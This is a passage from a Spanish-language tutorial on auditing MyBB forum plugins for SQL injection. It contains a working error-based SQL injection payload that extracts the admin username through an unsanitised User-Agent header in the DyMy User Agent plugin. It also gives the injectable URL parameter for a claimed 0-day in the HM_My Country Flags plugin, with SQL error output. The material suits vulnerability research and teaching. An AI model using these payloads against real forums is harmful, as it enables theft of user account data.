    function dymy_ua_install(){
    global $db;
    $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
    }
    


    Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:

        http://docs.mybb.com/Plugins-Globals.html
        http://docs.mybb.com/Database_Methods.html


    Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.

    Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
    grep "\$db" dymy_ua.php -i -n

    56: global $db;
    58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
    63: global $db;
    65: if($db->field_exists("useragent", "posts"))
    75: global $db;
    77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
    78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
    83: global $db;
    85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
    86: $c = $db->fetch_field($q, "count");
    87: $db->free_result($q);
    95: $db->insert_query("templategroups", $ins);
    101: "template" => $db->escape_string(' <img src="images/useragent/os/{$os}.png" alt="{$os}" title="{$os_name}">'),
    106: $db->insert_query("templates", $ins);
    111: "template" => $db->escape_string(' <img src="images/useragent/browser/{$browser}.png" alt="{$browser}" title="{$browser_name}">'),
    116: $db->insert_query("templates", $ins);
    125: global $db;
    127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");



     Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
    function dymy_ua_deactivate()
    {
     global $db;
    
     $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27
    
     require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
     find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
     find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
    }
    
    function dymy_ua_dh_post_insert(&$data)
    {
     $useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
     $data->post_insert_data['useragent'] = $useragent;
     $data->post_update_data['useragent'] = $useragent;
    }
    
    function dymy_ua_postbit(&$post)
    {
     global $templates;
    
     if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
     {
      $os = str_ireplace("icon_", "", $post['system']);
      $browser = str_ireplace("icon_", "", $post['browser']);
      $browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
     }
    }
    

    En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
    function dymy_ua_dh_post_insert(&$data)
    {
    $useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
    $data->post_insert_data['useragent'] = $useragent;
    $data->post_update_data['useragent'] = $useragent;
    }

    Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.

    Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.

    Vamos a ver este lado de nuestro mensaje:



    Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:




    Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.

    Después de algunas pruebas vamos a salir con esta consulta:

    ' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #



     5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:

    La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:

    http://mods.mybb.com/view/hm-my-country-flags

    Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:



    Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:



     Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.

    Ahora ponga un ' después el país:

    http://localhost/mybb/misc.php?action=hmflags&cnam=Belgium'&pf=5

    Salida:
    MyBB has experienced an internal SQL error and cannot continue.

    SQL Error:
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
    Query:
    SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium''

    Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:



     Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

    CRÉDITOS:


    Autor: Join7
    Website: http://zentrixplus.net/
    Leer mas...